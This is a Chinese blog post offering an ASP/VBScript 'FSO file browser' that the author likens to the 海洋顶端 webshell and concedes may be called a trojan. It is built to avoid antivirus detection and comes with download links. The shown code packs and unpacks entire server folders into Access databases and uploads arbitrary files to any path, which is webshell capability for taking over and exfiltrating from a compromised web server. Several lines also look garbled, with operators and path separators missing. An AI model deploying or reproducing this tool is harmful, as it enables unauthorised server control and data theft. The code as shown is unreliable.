[原创]发一个06年写的“FSO文件浏览器”

这是一个利用FSO集合对象编写的FSO文件浏览器(如果你非要说它是木马,我也不反对),在功能上仿照了“海洋顶端木马”设计,不过代码完全是重写的,没有使用如Shell.Application等容易造成杀毒软件误杀的组件。类似的工具网上有很多,本工具使用价值不是很大,但其中的很多代码自认为写的不错的。

 

主要功能包括:

  • 磁盘信息查看
  • 磁盘文件浏览
  • 类似WindowsExplorer的操作方式
  • 新建、删除、改名、复制、移动等基本文件操作
  • 文本文件编辑
  • Stream方式文件下载
  • 精简优化的无组件上传
  • 文件打包/解包,一个文件夹可以完整地被打包/解包

下载地址1: http://download.csdn.net/source/818771
下载地址2: http://down.chinaz.com/soft/24456.htm

 

代码片断:

1. 文件打包/解包部分

  1. '============================ 文件打包及解包过程 =============================
  2. '文件打包
  3. Sub Pack(ByVal FPath, ByVal sDbPath)
  4.     Server.ScriptTimeOut=900
  5.     Dim DbPath
  6.     If Right(sDbPath,4)=".mdb" Then
  7.         DbPath=sDbPath
  8.     Else
  9.         DbPath=sDbPath".mdb"
  10.     End If
  11.     If oFso.FolderExists(DbPath) Then
  12.         EchoBack "不能创建数据库文件!"&Replace(DbPath,"/","//")
  13.         Exit Sub
  14.     End If
  15.     If oFso.FileExists(DbPath) Then
  16.         oFso.DeleteFile DbPath
  17.     End If
  18.     If IsFolder(FPath) Then
  19.         RootPath=GetParentFolder(FPath)
  20.         If Right(RootPath,1)<>"/" Then RootPath=RootPath&"/"
  21.     Else
  22.         EchoBack "请输入文件夹路径!"
  23.         Exit Sub
  24.     End If
  25.     Dim oCatalog,connStr,DataName
  26.     Set conn=Server.CreateObject("ADODB.Connection")
  27.     Set oStream=Server.CreateObject("ADODB.Stream")
  28.     Set oCatalog=Server.CreateObject("ADOX.Catalog")
  29.     Set rs=Server.CreateObject("ADODB.RecordSet")
  30.     On Error Resume Next
  31.     connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
  32.     oCatalog.Create connStr
  33.     If Err Then
  34.         EchoBack "不能创建数据库文件!"&Replace(DbPath,"/","//")
  35.         Exit Sub
  36.     End If
  37.     Set oCatalog=Nothing
  38.     conn.Open connStr
  39.     conn.Execute("Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)")
  40.     oStream.Open
  41.     oStream.Type=1
  42.     rs.Open "Files",conn,3,3
  43.     DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name,".")-1)
  44.     NoPackFiles=Replace(NoPackFiles,"<$datafile>",DataName)
  45.     FailFileList=""        '打包失败的文件列表
  46.     PackFolder FPath
  47.     If FailFilelist="" Then
  48.         EchoClose "文件夹打包成功!"
  49.     Else
  50.         Response.Write "<link rel='stylesheet' type='text/css' href='?page=css'>"
  51.         Response.Write "<Script Language='JavaScript'>alert('文件夹打包完成!/n以下是打包失败的文件列表:');</Script>"
  52.         Response.Write "<body>"&Replace(FailFilelist,"|","<br>")"</body>"
  53.     End If
  54.     oStream.Close
  55.     rs.Close
  56.     conn.Close
  57. End Sub
  58. '添加文件夹(递归)
  59. Sub PackFolder(FolderPath)
  60.     If Not IsFolder(FolderPath) Then Exit Sub
  61.     Dim oFolder,sFile,sFolder
  62.     Set oFolder=oFso.GetFolder(FolderPath)
  63.     For Each sFile In oFolder.Files
  64.         If InStr(NoPackFiles,"|"&sFile.Name"|")<1 Then
  65.             PackFile sFile.Path
  66.         End If
  67.     Next
  68.     Set sFile=Nothing
  69.     For Each sFolder In oFolder.SubFolders
  70.         PackFolder sFolder.Path
  71.     Next
  72.     Set sFolder=Nothing
  73. End Sub
  74. '添加文件
  75. Sub PackFile(FilePath)
  76.     Dim RelPath
  77.     RelPath=Replace(FilePath,RootPath,"")
  78.     'Response.Write RelPath & "<br>"
  79.     On Error Resume Next
  80.     Err.Clear
  81.     Err=False
  82.     oStream.LoadFromFile FilePath
  83.     rs.AddNew
  84.     rs("FilePath")=RelPath
  85.     rs("FileData")=oStream.Read()
  86.     rs.Update
  87.     If Err Then
  88.         '一个文件打包失败
  89.         FailFilelist=FailFilelist&FilePath"|"
  90.     End If
  91. End Sub
  92. '===========================================================================
  93. '文件解包
  94. Sub UnPack(vFolderPath,DbPath)
  95.     Server.ScriptTimeOut=900
  96.     Dim FilePath,FolderPath,sFolderPath
  97.     FolderPath=vFolderPath
  98.     FolderPath=Trim(FolderPath)
  99.     If Mid(FolderPath,2,1)<>":" Then
  100.         EchoBack "路径格式错误,无法创建改目录!"
  101.         Exit Sub
  102.     End If
  103.     If Right(FolderPath,1)="/" Then FolderPath=Left(FolderPath,Len(FolderPath)-1)
  104.     Dim connStr
  105.     Set conn=Server.CreateObject("ADODB.Connection")
  106.     Set oStream=Server.CreateObject("ADODB.Stream")
  107.     Set rs=Server.CreateObject("ADODB.RecordSet")
  108.     connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
  109.     On Error Resume Next
  110.     Err=False
  111.     conn.Open connStr
  112.     If Err Then
  113.         EchoBack "数据库打开错误!"
  114.         Exit Sub
  115.     End If
  116.     Err=False
  117.     oStream.Open
  118.     oStream.Type=1
  119.     rs.Open "Files",conn,1,1
  120.     FailFilelist=""        '清空失败文件列表
  121.     Do Until rs.EOF
  122.         Err.Clear
  123.         Err=False
  124.         FilePath=FolderPath"/"&rs("FilePath")
  125.         FilePath=Replace(FilePath,"//","/")
  126.         sFolderPath=Left(FilePath,InStrRev(FilePath,"/"))
  127.         If Not oFso.FolderExists(sFolderPath) Then
  128.             CreateFolder(sFolderPath)
  129.         End If
  130.         oStream.SetEos()
  131.         oStream.Write rs("FileData")
  132.         oStream.SaveToFile FilePath,2
  133.         If Err Then        '添加失败文件项目
  134.             FailFilelist=FailFilelist&rs("FilePath").Value"|"
  135.         End If
  136.         rs.MoveNext
  137.     Loop
  138.     rs.Close
  139.     Set rs=Nothing
  140.     conn.Close
  141.     Set conn=Nothing
  142.     Set oStream=Nothing
  143.     If FailFilelist="" Then
  144.         EchoClose "文件解包成功!"
  145.     Else
  146.         Response.Write "<link rel='stylesheet' type='text/css' href='?page=css'>"
  147.         Response.Write "<Script Language='JavaScript'>alert('文件夹打包完成!/n以下是打包失败的文件列表,请检查');</Script>"
  148.         Response.Write "<body>"&Replace(FailFilelist,"|","<br>")"</body>"
  149.     End If
  150. End Sub
  151. '===========================================================================

 

2. 文件上传部分(单一文件):

 

  1. '保存上传文件
  2. Sub Saveupload(ByVal FolderName)
  3.     If Not IsFolder(FolderName) Then
  4.         EchoClose "没有指定上传的文件夹!"
  5.         Exit Sub
  6.     End If
  7.     Dim Path,IsOverWrite
  8.     Path=FolderName
  9.     If Right(Path,1)<>"/" Then Path=Path&"/"
  10.     FileName=Replace(Request("filename"),"/","")
  11.     If Len(FileName)<1 Then
  12.         EchoBack "请选择文件并输入文件名!"
  13.         Exit Sub
  14.     End If
  15.     Path=Path
  16.     If LCase(Request("overwrite"))="true" Then
  17.         IsOverWrite=True
  18.     Else
  19.         IsOverWrite=False
  20.     End If
  21.     On Error Resume Next
  22.     Call MyUpload(Path,IsOverWrite)
  23.     If Err Then
  24.         EchoBack "文件上传失败!(可能是文件已存在)"
  25.     Else
  26.         EchoClose "文件上传成功!/n" & Replace(fileName, "/", "//")
  27.     End If
  28. End Sub
  29. '文件上传核心代码
  30. Sub MyUpload(FilePath,IsOverWrite)
  31.     Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
  32.     RequestSize=Request.TotalBytes
  33.     If RequestSize<1 Then Exit Sub
  34.     Set oStream=Server.CreateObject("ADODB.Stream")
  35.     Set tStream=Server.CreateObject("ADODB.Stream")
  36.     With oStream
  37.         .Type=1
  38.         .Mode=3
  39.         .Open
  40.         .Write=Request.BinaryRead(RequestSize)
  41.         .Position=0
  42.         sData=.Read
  43.         bCrLf=ChrB(13)&ChrB(10)
  44.         iSpaceEnd=InStrB(sData,bCrLf)-1
  45.         sSpace=LeftB(sData,iSpaceEnd)
  46.         iInfoStart=iSpaceEnd+3
  47.         iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
  48.         iFileStart=iInfoEnd+5
  49.         iFileEnd=InStrB(iFileStart,sData,sSpace)-3
  50.         sData=""    '清空文件数据
  51.         iFileSize=iFileEnd-iFileStart+1
  52.         tStream.Type=1
  53.         tStream.Mode=3
  54.         tStream.Open
  55.         .Position=iFileStart-1
  56.         .CopyTo tStream,iFileSize
  57.         If IsOverWrite Then
  58.             tStream.SaveToFile FilePath,2
  59.         Else
  60.             tStream.SaveToFile FilePath
  61.         End If
  62.         tStream.Close
  63.         .Close
  64.     End With
  65.     Set tStream=Nothing
  66.     Set oStream=Nothing
  67. End Sub 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值